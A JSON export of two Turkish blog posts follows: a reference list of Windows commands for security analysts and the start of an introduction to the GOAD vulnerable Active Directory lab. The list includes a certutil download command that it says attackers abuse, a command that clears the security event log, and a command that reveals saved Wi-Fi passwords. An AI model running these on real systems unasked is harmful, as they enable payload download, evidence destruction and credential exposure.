[{"id":38,"title":"Siber G\u00fcvenlik Analistleri i\u00e7in Vazge\u00e7ilmez Windows Komutlar\u0131","content":"<p>Siber g&uuml;venlik d&uuml;nyas\u0131nda, grafik aray&uuml;zlerin (GUI) rahatl\u0131\u011f\u0131na ra\u011fmen, komut sat\u0131r\u0131 hala bir analistin en g&uuml;&ccedil;l&uuml; silahlar\u0131ndan biridir. Windows komutlar\u0131, bir sistemin derinliklerine inmek, anormallikleri tespit etmek, a\u011f trafi\u011fini analiz etmek ve bir g&uuml;venlik olay\u0131na m&uuml;dahale etmek i&ccedil;in h\u0131zl\u0131, etkili ve vazge&ccedil;ilmez bir yol sunar. <a href=\"https:\/\/cmd-test.site\" target=\"_blank\" rel=\"noopener\">cmd-test.site<\/a> adresinde bu komutlar\u0131 simile edebilirsiniz. Bu kapsaml\u0131 rehber, bir g&uuml;venlik analistinin bilmesi gereken temel Windows komutlar\u0131n\u0131 kategorilere ay\u0131rarak sunmaktad\u0131r. \u0130ster yeni ba\u015fl\u0131yor olun, ister bilgilerinizi tazelemek isteyin, bu liste sizin i&ccedil;in bir ba\u015fvuru kayna\u011f\u0131 olacakt\u0131r.<\/p>\r\n<h2>1. Sistem Bilgileri ve Yap\u0131land\u0131rma<\/h2>\r\n<p><img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/whoami.png\" alt=\"\" width=\"954\" height=\"350\"> Bir sistemi analiz etmeye ba\u015flarken ilk ad\u0131m, ne ile kar\u015f\u0131 kar\u015f\u0131ya oldu\u011funuzu anlamakt\u0131r. Bu komutlar, i\u015fletim sistemi, donan\u0131m ve temel yap\u0131land\u0131rma hakk\u0131nda kritik bilgiler sa\u011flar <strong><code>systeminfo<\/code><\/strong>: \u0130\u015fletim sistemi yap\u0131land\u0131rmas\u0131, donan\u0131m detaylar\u0131 ve y&uuml;kl&uuml; yamalar (hotfix'ler) hakk\u0131nda ayr\u0131nt\u0131l\u0131 bilgi g&ouml;r&uuml;nt&uuml;ler. H\u0131zl\u0131 bir &ouml;zet i&ccedil;in: <strong>systeminfo | findstr \/B \/C:\"OS Name\" \/C:\"OS Version\" \/C:\"System Type\"<\/strong> Uzak bir sistemi sorgulamak i&ccedil;in: <strong>systeminfo \/s <\/strong> <strong><code>whoami<\/code><\/strong>: Mevcut kullan\u0131c\u0131 ba\u011flam\u0131n\u0131 g&ouml;sterir. Kullan\u0131c\u0131n\u0131n grup &uuml;yeliklerini g&ouml;rmek i&ccedil;in: <strong>whoami \/groups<\/strong> Kullan\u0131c\u0131 ayr\u0131cal\u0131klar\u0131n\u0131 de\u011ferlendirmek i&ccedil;in (genellikle y&ouml;netici yetkisi gerekir): <strong><code>whoami \/priv<\/code><\/strong> Kullan\u0131c\u0131, gruplar ve ayr\u0131cal\u0131klar hakk\u0131nda t&uuml;m bilgileri bir arada g&ouml;rmek i&ccedil;in: <strong>whoami \/all<\/strong> <strong><code>hostname<\/code><\/strong>: Bilgisayar\u0131n ana bilgisayar ad\u0131n\u0131 g&ouml;r&uuml;nt&uuml;ler. <strong><code>ver \/ winver<\/code><\/strong>: Windows s&uuml;r&uuml;m&uuml;n&uuml; g&ouml;sterir. <strong><code>ver<\/code><\/strong> komut sat\u0131r\u0131 s&uuml;r&uuml;m&uuml;n&uuml; <code><strong>winver<\/strong> ise yap\u0131 numaras\u0131n\u0131 i&ccedil;eren bir grafik aray&uuml;z penceresi a&ccedil;ar<\/code> <strong><code>getmac<\/code><\/strong>: Cihaz\u0131n MAC adresini veya adreslerini listeler <strong><code>getmac \/v<\/code><\/strong> komutu, adapt&ouml;r ad\u0131yla birlikte daha ayr\u0131nt\u0131l\u0131 bilgi verir. <strong><code>bcdedit<\/code><\/strong>: &Ouml;ny&uuml;kleme Yap\u0131land\u0131rma Verilerini (Boot Configuration Data) y&ouml;netir. Ola\u011fand\u0131\u015f\u0131 &ouml;ny&uuml;kleme giri\u015flerini kontrol etmek i&ccedil;in <code><strong>bcdedit \/enum all<\/strong><\/code> kullan\u0131labilir (Y&ouml;netici Yetkisi Gerekir) <strong><code>driverquery<\/code><\/strong>: Y&uuml;kl&uuml; ayg\u0131t s&uuml;r&uuml;c&uuml;lerinin bir listesini sunar. \u0130mzal\u0131 s&uuml;r&uuml;c&uuml;leri g&ouml;rmek i&ccedil;in <code>\/si<\/code> , imza bilgileri gibi detaylar\u0131 g&ouml;rmek i&ccedil;in <code>\/v<\/code> parametresi kullan\u0131l\u0131r <code>msinfo32 \/report C:\\temp\\sysinfo.txt<\/code> komutu kullan\u0131labilir. <strong><code>wmic<\/code><\/strong>: Windows Y&ouml;netim Ara&ccedil;lar\u0131 Komut Sat\u0131r\u0131. Art\u0131k kullan\u0131mdan kalkmakta ve yerini PowerShell'in <code>Get-CimInstance<\/code> komutuna b\u0131rakmakta olsa da hala yayg\u0131n olarak kullan\u0131lmaktad\u0131r. \u0130\u015fletim sistemi bilgilerini almak i&ccedil;in: <strong>wmic os get Caption, Version, BuildNumber, OSArchitecture.<\/strong> Y&uuml;kl&uuml; yaz\u0131l\u0131mlar\u0131 listelemek i&ccedil;in: <strong>wmic product get name, version<\/strong> Y&uuml;kl&uuml; yamalar\u0131 (Quick Fix Engineering) listelemek i&ccedil;in <strong>wmic qfe list brief<\/strong> <strong><code>powercfg<\/code><\/strong>: G&uuml;&ccedil; ayarlar\u0131n\u0131 y&ouml;netir. Kullan\u0131labilir uyku durumlar\u0131n\u0131 g&ouml;sterir: <strong><code>powercfg \/a<\/code><\/strong> Sistemi en son neyin uyand\u0131rd\u0131\u011f\u0131n\u0131 g&ouml;sterir: <code>powercfg \/lastwake<\/code> <strong><code>set<\/code><\/strong>: Ortam de\u011fi\u015fkenlerini g&ouml;r&uuml;nt&uuml;ler, ayarlar veya kald\u0131r\u0131r &nbsp;<\/p>\r\n<h2>2. A\u011f Analizi<\/h2>\r\n<p><img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/ipconfigall.png\" alt=\"\" width=\"973\" height=\"456\"> A\u011f ba\u011flant\u0131lar\u0131n\u0131, yap\u0131land\u0131rmalar\u0131 ve olas\u0131 sorunlar\u0131 anlamak, g&uuml;venlik analizinin temel ta\u015flar\u0131ndan biridir. ipconfig: IP yap\u0131land\u0131rmas\u0131n\u0131 g&ouml;r&uuml;nt&uuml;ler. Detayl\u0131 bilgi (MAC, DNS, DHCP dahil) i&ccedil;in: ipconfig \/all DNS &ccedil;&ouml;z&uuml;mleyici &ouml;nbelle\u011fini g&ouml;r&uuml;nt&uuml;lemek i&ccedil;in: <strong>ipconfig \/displaydns.<\/strong> DNS &ouml;nbelle\u011fini temizlemek i&ccedil;in (Y&ouml;netici Yetkisi Gerekir): <strong>ipconfig \/flushdns.<\/strong> <strong>ping<\/strong>: ICMP yank\u0131 istekleri kullanarak a\u011f ba\u011flant\u0131s\u0131n\u0131 test eder. <strong>ping -t<\/strong> komutu durdurulana kadar s&uuml;rekli ping atar. <strong>netstat<\/strong>: A\u011f ba\u011flant\u0131lar\u0131n\u0131, dinleme portlar\u0131n\u0131 ve istatistikleri g&ouml;sterir. En kullan\u0131\u015fl\u0131 parametrelerden biri: <strong>netstat -ano<\/strong> TCP\/UDP portlar\u0131n\u0131, IP adreslerini, dinleme durumlar\u0131n\u0131 ve ili\u015fkili i\u015flem kimli\u011fini (PID) g&ouml;sterir. \u0130\u015flem ad\u0131n\u0131 da g&ouml;rmek i&ccedil;in (Y&ouml;netici Yetkisi Gerekir): <strong>netstat -anob<\/strong> <img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/netstat-anob.png\" alt=\"\" width=\"953\" height=\"225\"> Y&ouml;nlendirme tablosunu g&ouml;stermek i&ccedil;in: <strong>netstat -r<\/strong> <img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/netstat-r.png\" alt=\"\" width=\"947\" height=\"177\"> <strong>tracert<\/strong>: Bir hedefe giden rota &uuml;zerindeki atlamalar\u0131 (hops) izler. <strong>pathping<\/strong>: ping ve tracert komutlar\u0131n\u0131 birle\u015ftirerek her atlamadaki gecikme ve paket kayb\u0131n\u0131 g&ouml;sterir. <strong>nslookup<\/strong>: DNS sunucular\u0131n\u0131 sorgulamak i&ccedil;in kullan\u0131l\u0131r. <strong>nslookup -type=mx google.com<\/strong> gibi komutlarla belirli kay\u0131t t&uuml;rleri (&ouml;rne\u011fin, Mail Exchange) sorgulanabilir. <strong>arp<\/strong>: Adres &Ccedil;&ouml;z&uuml;mleme Protokol&uuml; (ARP) &ouml;nbelle\u011fini (IP-MAC e\u015fle\u015ftirmesi) g&ouml;r&uuml;nt&uuml;ler ve de\u011fi\u015ftirir. Mevcut giri\u015fleri g&ouml;rmek i&ccedil;in <strong>arp -a<\/strong> kullan\u0131l\u0131r. <strong>netsh<\/strong>: G&uuml;&ccedil;l&uuml; bir a\u011f yap\u0131land\u0131rma arac\u0131d\u0131r. T&uuml;m g&uuml;venlik duvar\u0131 kurallar\u0131n\u0131 g&ouml;stermek i&ccedil;in: <strong>netsh advfirewall firewall show rule name=all.<\/strong> Kaydedilmi\u015f Wi-Fi profillerini listelemek i&ccedil;in: <strong>netsh wlan show profiles.<\/strong> Kaydedilmi\u015f bir Wi-Fi \u015fifresini g&ouml;rmek i&ccedil;in (Y&ouml;netici Yetkisi Gerekir): <strong>netsh wlan show profile name=\"ProfilAd\u0131\" key=clear.<\/strong> <strong>route<\/strong>: Yerel IP y&ouml;nlendirme tablosunu g&ouml;r&uuml;nt&uuml;ler ve de\u011fi\u015ftirir. <strong>route print<\/strong> ile tabloyu g&ouml;rebilirsiniz.<\/p>\r\n<h2>3. \u0130\u015flem ve Servis Y&ouml;netimi<\/h2>\r\n<p>Sistemde hangi i\u015flemlerin ve servislerin &ccedil;al\u0131\u015ft\u0131\u011f\u0131n\u0131 bilmek, zararl\u0131 yaz\u0131l\u0131m tespiti ve sistem analizi i&ccedil;in kritiktir. <strong>tasklist<\/strong>: &Ccedil;al\u0131\u015fan i\u015flemleri listeler. <img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/tasklist.png\" alt=\"\" width=\"942\" height=\"224\"> Her i\u015flemde bar\u0131nd\u0131r\u0131lan servisleri g&ouml;rmek i&ccedil;in: <strong>tasklist \/svc<\/strong> <img src=\"..\/..\/..\/wp-content\/uploads\/2025\/06\/tasklistsvc.png\" alt=\"\" width=\"934\" height=\"210\"> Belirli bir DLL'i kullanan i\u015flemleri bulmak i&ccedil;in: <strong>tasklist \/m <\/strong> G&ouml;r&uuml;nt&uuml; ad\u0131na g&ouml;re filtrelemek i&ccedil;in: <strong>tasklist \/fi \"IMAGENAME eq chrome.exe\"<\/strong> <strong>taskkill<\/strong>: \u0130\u015flemleri sonland\u0131r\u0131r. G&ouml;r&uuml;nt&uuml; ad\u0131na g&ouml;re sonland\u0131rmak i&ccedil;in: <strong>taskkill \/IM notepad.exe<\/strong> \u0130\u015flem kimli\u011fine (PID) g&ouml;re sonland\u0131rmak i&ccedil;in: <strong>taskkill \/PID <\/strong> Bir i\u015flemi ve onun alt i\u015flemlerini zorla sonland\u0131rmak i&ccedil;in: <strong>taskkill \/T \/IM \/F<\/strong> <strong>schtasks<\/strong>: Komutlar\u0131 ve programlar\u0131 zamanlar (G&ouml;rev Zamanlay\u0131c\u0131). T&uuml;m g&ouml;revlerin ayr\u0131nt\u0131l\u0131 bir listesini <strong>schtasks \/query \/fo LIST \/v<\/strong> ile alabilirsiniz. <strong>sc<\/strong>: Windows servislerini y&ouml;neten Servis Kontrol arac\u0131d\u0131r. T&uuml;m servisleri listelemek i&ccedil;in: <strong>sc query state=all<\/strong> Bir servisin yap\u0131land\u0131rmas\u0131n\u0131 (ikili dosya yolu, ba\u011f\u0131ml\u0131l\u0131klar vb.) sorgulamak analistler i&ccedil;in &ccedil;ok &ouml;nemlidir: <strong>sc qc <\/strong> Bir servisin PID'sini &ouml;\u011frenmek i&ccedil;in: <strong>sc queryex <\/strong> <strong>net start \/ net stop<\/strong>: Servisleri ba\u015flatmak ve durdurmak i&ccedil;in sc komutuna g&ouml;re daha basit bir alternatiftir. &Ccedil;al\u0131\u015fan servisleri listelemek i&ccedil;in <strong>net start<\/strong> kullan\u0131labilir. 4. Dosya Sistemi ve Veri Y&ouml;netimi Dosya ve dizin i\u015flemleri, kan\u0131t toplama, zararl\u0131 dosyalar\u0131 izole etme ve sistem yap\u0131land\u0131rmalar\u0131n\u0131 inceleme s\u0131ras\u0131nda s\u0131k&ccedil;a kullan\u0131l\u0131r. <strong>dir<\/strong>: Dosya ve dizinleri listeler. Gizli ve sistem dosyalar\u0131n\u0131 g&ouml;rmek i&ccedil;in <strong>\/a<\/strong> , alt dizinleri de dahil etmek i&ccedil;in <strong>\/s<\/strong> kullan\u0131l\u0131r. <strong>cd<\/strong> veya <strong>chdir<\/strong>: Dizini de\u011fi\u015ftirir. <strong>type<\/strong>: Bir metin dosyas\u0131n\u0131n i&ccedil;eri\u011fini g&ouml;r&uuml;nt&uuml;ler. &Ouml;rne\u011fin, <strong>type C:\\Windows\\System32\\drivers\\etc\\hosts<\/strong> <strong>findstr<\/strong>: Dosyalarda metin dizeleri arar ve normal ifadeleri (regex) destekler. <strong>ipconfig \/all | findstr \/i \"DNS Servers\"<\/strong> gibi komutlarla bir komutun &ccedil;\u0131kt\u0131s\u0131n\u0131 filtreleyebilirsiniz. <strong>robocopy<\/strong>: xcopy'den daha g&uuml;&ccedil;l&uuml; ve tercih edilen, sa\u011flam bir dosya kopyalama arac\u0131d\u0131r. <strong>\/MIR<\/strong> anahtar\u0131 bir dizini aynalar, ancak dikkatli kullan\u0131lmal\u0131d\u0131r &ccedil;&uuml;nk&uuml; hedefte olup kaynakta olmayan dosyalar\u0131 siler. <strong>attrib<\/strong>: Dosya &ouml;zniteliklerini (gizli, salt okunur vb.) g&ouml;r&uuml;nt&uuml;ler veya de\u011fi\u015ftirir. Bir dosyay\u0131 gizlemek i&ccedil;in <strong>attrib +h <\/strong> kullan\u0131labilir. <strong>icacls<\/strong>: Dosya ve klas&ouml;rlerin Eri\u015fim Kontrol Listelerini (izinlerini) g&ouml;r&uuml;nt&uuml;ler veya de\u011fi\u015ftirir. \u0130zinleri g&ouml;r&uuml;nt&uuml;lemek i&ccedil;in <strong>icacls <\/strong> yeterlidir. <strong>takeown<\/strong>: Bir y&ouml;neticinin bir dosya veya klas&ouml;r&uuml;n sahipli\u011fini almas\u0131n\u0131 sa\u011flar (Y&ouml;netici Yetkisi Gerekir).<\/p>\r\n<h2>5. Kullan\u0131c\u0131, Grup ve \u0130lke Y&ouml;netimi<\/h2>\r\n<p>Kullan\u0131c\u0131 hesaplar\u0131n\u0131, grup &uuml;yeliklerini ve uygulanan grup ilkelerini analiz etmek, yetkisiz eri\u015fimi ve g&uuml;venlik yap\u0131land\u0131rma hatalar\u0131n\u0131 tespit etmede hayati &ouml;nem ta\u015f\u0131r. <strong>net user<\/strong>: Yerel veritaban\u0131ndaki veya etki alan\u0131ndaki kullan\u0131c\u0131 hesaplar\u0131n\u0131 y&ouml;netir. Yerel kullan\u0131c\u0131lar\u0131 listelemek i&ccedil;in <strong>net user<\/strong> , bir kullan\u0131c\u0131y\u0131 devre d\u0131\u015f\u0131 b\u0131rakmak i&ccedil;in <strong>net user \/active:no<\/strong> kullan\u0131l\u0131r (Y&ouml;netici Yetkisi Gerekir). <strong>net localgroup<\/strong>: Yerel gruplar\u0131 y&ouml;netir. Y&ouml;neticiler grubunun &uuml;yelerini listelemek i&ccedil;in <strong>net localgroup Administrators<\/strong> komutu kullan\u0131l\u0131r. <strong>gpupdate<\/strong>: Grup \u0130lkesi ayarlar\u0131n\u0131 g&uuml;nceller. T&uuml;m ilkelerin yeniden uygulanmas\u0131n\u0131 zorlamak i&ccedil;in <strong>gpupdate \/force<\/strong> kullan\u0131l\u0131r. <strong>gpresult<\/strong>: Uygulanan Grup \u0130lkesi sonu&ccedil;lar\u0131n\u0131 (Resultant Set of Policy - RSoP) g&ouml;sterir. <strong>gpresult \/r<\/strong> komutu, mevcut kullan\u0131c\u0131 ve bilgisayar i&ccedil;in &ouml;zet verileri sunar. <strong>runas<\/strong>: Bir program\u0131 farkl\u0131 bir kullan\u0131c\u0131 olarak &ccedil;al\u0131\u015ft\u0131r\u0131r.<\/p>\r\n<h2>6. Olay G&uuml;nl&uuml;\u011f&uuml; Y&ouml;netimi<\/h2>\r\n<p>Olay g&uuml;nl&uuml;kleri (Event Logs), bir sistemde olan biten her \u015feyin kayd\u0131n\u0131 tutar ve bir g&uuml;venlik olay\u0131 incelemesinin en zengin bilgi kaynaklar\u0131ndan biridir. <strong>wevtutil<\/strong>: Olay g&uuml;nl&uuml;klerini y&ouml;netmek i&ccedil;in kullan\u0131lan g&uuml;&ccedil;l&uuml; bir komut sat\u0131r\u0131 arac\u0131d\u0131r. T&uuml;m olay g&uuml;nl&uuml;klerini listelemek i&ccedil;in: <strong>wevtutil el<\/strong> G&uuml;venlik g&uuml;nl&uuml;\u011f&uuml;ndeki en yeni 10 olay\u0131 metin format\u0131nda sorgulamak i&ccedil;in: <strong>wevtutil qe Security \/c:10 \/rd:true \/f:text<\/strong> Bir g&uuml;nl&uuml;\u011f&uuml; yedeklemek i&ccedil;in: <strong>wevtutil epl Security C:\\Backup\\SecurityLog.evtx<\/strong> Bir g&uuml;nl&uuml;\u011f&uuml; temizlemek (D\u0130KKAT: Kan\u0131tlar\u0131 siler!): <strong>wevtutil cl Security<\/strong> <strong>eventvwr<\/strong>: Olay G&ouml;r&uuml;nt&uuml;leyicisi GUI'sini a&ccedil;ar<\/p>\r\n<h2>7. G&uuml;venlik Denetim Ara&ccedil;lar\u0131<\/h2>\r\n<p>Bu ara&ccedil;lar, sistem b&uuml;t&uuml;nl&uuml;\u011f&uuml;n&uuml; kontrol etmek, denetim ilkelerini y&ouml;netmek ve sald\u0131rganlar taraf\u0131ndan k&ouml;t&uuml;ye kullan\u0131labilecek servisleri izlemek i&ccedil;in kullan\u0131l\u0131r. <strong>sfc<\/strong>: Sistem Dosyas\u0131 Denetleyicisi. Korunan sistem dosyalar\u0131n\u0131 tarar ve onar\u0131r (Y&ouml;netici Yetkisi Gerekir). <strong>sfc \/scannow<\/strong> komutu tam bir tarama ve onar\u0131m yapar. <strong>auditpol<\/strong>: Denetim ilkelerini y&ouml;netir (Y&ouml;netici Yetkisi Gerekir). Mevcut ayarlar\u0131 g&ouml;rmek i&ccedil;in <strong>auditpol \/get \/category:*<\/strong> kullan\u0131l\u0131r. <strong>bitsadmin<\/strong>: Arka Plan Ak\u0131ll\u0131 Aktar\u0131m Hizmeti (BITS) i\u015flerini y&ouml;netir. Genellikle zararl\u0131 yaz\u0131l\u0131mlar taraf\u0131ndan k&ouml;t&uuml;ye kullan\u0131ld\u0131\u011f\u0131 i&ccedil;in <strong>bitsadmin \/list \/allusers<\/strong> komutuyla t&uuml;m kullan\u0131c\u0131lar\u0131n i\u015flerini listelemek &ouml;nemlidir. <strong>certutil<\/strong>: Sertifikalar\u0131 y&ouml;netir ancak sald\u0131rganlar taraf\u0131ndan dosya indirme veya kodlama gibi &ccedil;e\u015fitli ama&ccedil;larla da kullan\u0131l\u0131r. En kullan\u0131\u015fl\u0131 &ouml;zelliklerinden biri: Bir dosyan\u0131n hash de\u011ferini hesaplamak i&ccedil;in: certutil -hashfile SHA256. Sald\u0131rganlar taraf\u0131ndan dosya indirmek i&ccedil;in kullan\u0131labilir: <strong>certutil -urlcache -split -f &lt;&ccedil;\u0131kt\u0131_dosyas\u0131&gt;<\/strong> <strong>fltmc<\/strong>: Filtre s&uuml;r&uuml;c&uuml;s&uuml; y&ouml;neticisidir (Y&ouml;netici Yetkisi Gerekir). fltmc filters komutu, y&uuml;kl&uuml; olan ve potansiyel olarak \u015f&uuml;pheli olabilecek dosya sistemi filtre s&uuml;r&uuml;c&uuml;lerini listeler.<\/p>\r\n<h2>8. PowerShell: Modern Standart<\/h2>\r\n<p>PowerShell, komut sat\u0131r\u0131 kabu\u011fu ve betik dilini bir araya getiren g&uuml;&ccedil;l&uuml; bir otomasyon ve yap\u0131land\u0131rma y&ouml;netimi &ccedil;er&ccedil;evesidir. Modern Windows y&ouml;netimi ve g&uuml;venlik analizi i&ccedil;in vazge&ccedil;ilmezdir. \u0130\u015fte baz\u0131 temel cmdlet (komut-let) &ouml;rnekleri: &nbsp; \u0130\u015flem Y&ouml;netimi: <strong>Get-Process<\/strong> (tasklist gibi), Stop-Process -Id -Force (taskkill gibi) Servis Y&ouml;netimi: <strong>Get-Service, Start-Service , Stop-Service <\/strong> A\u011f Y&ouml;netimi: <strong>Get-NetIPConfiguration (ipconfig \/all gibi), Test-NetConnection -Port , Get-NetTCPConnection<\/strong> (netstat -ano gibi) Olay G&uuml;nl&uuml;\u011f&uuml;: <strong>Get-WinEvent -LogName Security -MaxEvents<\/strong> 10 Sistem Bilgisi: <strong>Get-ComputerInfo<\/strong>,<strong> Get-HotFix<\/strong> (yamalar). <strong>WMI\/CIM: Get-CimInstance -ClassName Win32_OperatingSystem<\/strong> (bir&ccedil;ok wmic kullan\u0131m\u0131n\u0131n modern alternatifi).<\/p>\r\n<h2>9. Yard\u0131mc\u0131 Komutlar ve GUI K\u0131sayollar\u0131<\/h2>\r\n<p>Analiz s&uuml;recini h\u0131zland\u0131ran baz\u0131 temel yard\u0131mc\u0131lar: <strong>clip<\/strong>: Bir komutun &ccedil;\u0131kt\u0131s\u0131n\u0131 do\u011frudan Windows panosuna kopyalar. &Ouml;rne\u011fin: <strong>ipconfig \/all | clip<\/strong> <strong>shutdown<\/strong>: Bilgisayar\u0131 kapat\u0131r veya yeniden ba\u015flat\u0131r. <strong>shutdown \/r \/t 0<\/strong> komutu hemen yeniden ba\u015flat\u0131r. GUI K\u0131sayollar\u0131: <strong>services.msc<\/strong>: Servisler y&ouml;netim konsolunu a&ccedil;ar. <strong>devmgmt.msc:<\/strong> Ayg\u0131t Y&ouml;neticisi'ni a&ccedil;ar. <strong>diskmgmt.msc<\/strong>: Disk Y&ouml;netimi'ni a&ccedil;ar. <strong>resmon<\/strong>: Kaynak \u0130zleyicisi'ni a&ccedil;ar. <strong>mstsc<\/strong>: Uzak Masa&uuml;st&uuml; Ba\u011flant\u0131s\u0131 istemcisini a&ccedil;ar.<\/p>\r\n<h2>10. Sysinternals Suite (\u015eiddetle Tavsiye Edilen Harici Ara&ccedil;lar)<\/h2>\r\n<p>Bunlar Windows'ta yerle\u015fik olarak gelmese de, derinlemesine analiz i&ccedil;in vazge&ccedil;ilmez kabul edilirler ve Microsoft'tan indirilebilirler. &nbsp; <strong>Autoruns\/Autorunsc<\/strong>: Kay\u0131t defteri, servisler, zamanlanm\u0131\u015f g&ouml;revler gibi t&uuml;m ba\u015flang\u0131&ccedil; konumlar\u0131n\u0131 g&ouml;sterir ve y&ouml;netir. <strong>Process Explorer (procexp.exe)<\/strong>: Geli\u015fmi\u015f bir G&ouml;rev Y&ouml;neticisi'dir. DLL'leri, i\u015flem a\u011fac\u0131n\u0131 g&ouml;sterir ve imzalar\u0131 do\u011frular. <strong>Process Monitor (procmon.exe)<\/strong>: Dosya sistemi, kay\u0131t defteri, i\u015flem ve a\u011f etkinli\u011fini ger&ccedil;ek zamanl\u0131 olarak izler. Davran\u0131\u015f analizi i&ccedil;in son derece g&uuml;&ccedil;l&uuml;d&uuml;r. <strong>Sigcheck (sigcheck.exe)<\/strong>: Dosya imzalar\u0131n\u0131, hash de\u011ferlerini kontrol eder ve VirusTotal entegrasyonu sunar. TCPView (tcpview.exe): netstat'\u0131n ger&ccedil;ek zamanl\u0131 ve grafik aray&uuml;zl&uuml; halidir. Bu komutlara hakim olmak, bir g&uuml;venlik analistinin verimlili\u011fini ve etkinli\u011fini b&uuml;y&uuml;k &ouml;l&ccedil;&uuml;de art\u0131r\u0131r. Komut sat\u0131r\u0131, bir sistemi anlamak ve korumak i&ccedil;in en do\u011frudan ve g&uuml;&ccedil;l&uuml; yollardan biri olmaya devam etmektedir.<\/p>","excerpt":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda, grafik aray\u00fczlerin (GUI) rahatl\u0131\u011f\u0131na ra\u011fmen, komut sat\u0131r\u0131 hala bir analistin en g\u00fc\u00e7l\u00fc silahlar\u0131ndan biridir....","created_at":"2025-06-25 20:39:40","updated_at":"2026-09-06 11:26:06","category_id":6,"view_count":789,"reading_time":12,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-06-25 20:39:40","featured_image":"resimyok.jpg","slug":"siber-guvenlik-analistleri-icin-vazgecilmez-windows-komutlari","category_name":"Sistem","category_slug":"sistem","category_color":"#3b82f6"},{"id":148,"title":"Game of Active Directory","content":"<h1>Active Directory G\u00fcvenli\u011fi ve GOAD: Siber G\u00fcvenlikte Pratik Bir Laboratuvar<\/h1> Active Directory (AD), kurumsal a\u011flar\u0131n bel kemi\u011fidir. Kimlik do\u011frulama, yetkilendirme ve kaynak y\u00f6netimi gibi kritik i\u015flevleri \u00fcstlenen AD, siber sald\u0131rganlar\u0131n da ba\u015fl\u0131ca hedefi haline gelmi\u015ftir. Peki, g\u00fcvenlik uzmanlar\u0131 bu karma\u015f\u0131k sistemlere y\u00f6nelik sald\u0131r\u0131lar\u0131 nas\u0131l \u00f6\u011frenebilir ve savunma stratejilerini nas\u0131l geli\u015ftirebilir? \u0130\u015fte tam da bu noktada\u00a0<strong>GOAD (Game of Active Directory)<\/strong>, Orange Cyberdefense taraf\u0131ndan geli\u015ftirilen a\u00e7\u0131k kaynakl\u0131 bir laboratuvar projesi, devreye giriyor. <hr \/> <h2>GOAD Nedir?<\/h2> GOAD, siber g\u00fcvenlik uzmanlar\u0131na ve s\u0131zma testi merakl\u0131lar\u0131na ger\u00e7ek\u00e7i bir Active Directory ortam\u0131 sunan, kullan\u0131ma haz\u0131r bir sanal laboratuvard\u0131r. Bu projenin temel amac\u0131, kullan\u0131c\u0131lar\u0131n yayg\u0131n AD sald\u0131r\u0131 tekniklerini risksiz bir ortamda deneyimleyerek becerilerini geli\u015ftirmesini sa\u011flamakt\u0131r. <h3>GOAD'\u0131n Temel \u00d6zellikleri<\/h3> <ul> <li><strong>Kullan\u0131ma Haz\u0131r Sanal Ortam:<\/strong>\u00a0VMware, VirtualBox ve Vagrant deste\u011fiyle \u00e7al\u0131\u015fan GOAD, \u00f6nceden yap\u0131land\u0131r\u0131lm\u0131\u015f sanal makineler (DC\u2019ler, i\u015f istasyonlar\u0131) i\u00e7erir.<\/li> <li><strong>Ger\u00e7ek\u00e7i Senaryolar:<\/strong>\u00a0Ortamda kas\u0131tl\u0131 olarak b\u0131rak\u0131lan zafiyetler, a\u015fa\u011f\u0131daki gibi sald\u0131r\u0131lar\u0131n sim\u00fcle edilmesine olanak tan\u0131r: <ul> <li>Kimlik Av\u0131 (Phishing) ve kimlik bilgisi h\u0131rs\u0131zl\u0131\u011f\u0131,<\/li> <li>Yatay\/Dikey Hareket teknikleri,<\/li> <li>Golden Ticket ve Silver Ticket sald\u0131r\u0131lar\u0131,<\/li> <li>ACL (Eri\u015fim Kontrol Listesi) istismarlar\u0131.<\/li> <\/ul> <\/li> <li><strong>\u00dccretsiz ve Eri\u015filebilir:<\/strong>\u00a0A\u00e7\u0131k kaynakl\u0131 olmas\u0131, herkesin katk\u0131da bulunmas\u0131na ve \u00f6\u011frenmesine olanak tan\u0131r.<\/li> <\/ul> <hr \/> <h2>GOAD ile Neler \u00d6\u011frenebilirsiniz?<\/h2> <ul> <li><strong>Active Directory Temelleri:<\/strong>\u00a0Domain Controller, Grup Politikalar\u0131 (GPO), OU yap\u0131lar\u0131 gibi AD bile\u015fenlerini ke\u015ffedin.<\/li> <li><strong>Sald\u0131r\u0131 Y\u00fczeyi Analizi:<\/strong>\u00a0Zay\u0131f \u015fifre politikalar\u0131, fazla yetkilendirilmi\u015f kullan\u0131c\u0131 hesaplar\u0131 gibi riskleri tan\u0131mlay\u0131n.<\/li> <li><strong>S\u0131zma Testi Ara\u00e7lar\u0131:<\/strong>\u00a0Mimikatz, BloodHound, Impacket gibi ara\u00e7lar\u0131 laboratuvarda g\u00fcvenle kullan\u0131n.<\/li> <li><strong>Savunma Stratejileri:<\/strong>\u00a0Sald\u0131r\u0131lar\u0131 tespit etme ve engelleme y\u00f6ntemlerini test edin.<\/li> <\/ul> <hr \/> <h2>GOAD Kurulumu: 3 Ad\u0131mda Laboratuvar\u0131n\u0131z\u0131 Aya\u011fa Kald\u0131r\u0131n<\/h2> <h3>1. \u00d6n Ko\u015fullar<\/h3> <ul> <li>VMware, VirtualBox ve Vagrant kurulu olmal\u0131.<\/li> <li>8 GB+ RAM ve yeterli depolama alan\u0131na sahip bir makine.<\/li> <\/ul> <h3>2. Kodlar\u0131 \u0130ndirin<\/h3> <div > <div > <div > <div >bash<\/div> <div>git clone https:\/\/github.com\/Orange-Cyberdefense\/GOAD.git<\/div> <div>cd GOAD<\/div> <\/div> <\/div> <\/div> <h3>3. Sanal Makineleri Ba\u015flat\u0131n<\/h3> <div > <div > <div > <div >bash<\/div> <div > <div ><span style=\"font-family: Consolas, Monaco, monospace;\">vagrant up<\/span><\/div> <\/div> <\/div> <\/div> <\/div> Ansible playbook\u2019lar\u0131 otomatik olarak domain controller\u2019lar\u0131, Windows\/Linux makinelerini yap\u0131land\u0131racakt\u0131r. <hr \/> <h2>GOAD ile \u00d6rnek S\u0131zma Testi Senaryolar\u0131<\/h2> <h3>1. \u0130lk Eri\u015fim: Zay\u0131f \u015eifreli Kullan\u0131c\u0131 Hesab\u0131n\u0131n Ele Ge\u00e7irilmesi<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Bir kullan\u0131c\u0131 hesab\u0131n\u0131n 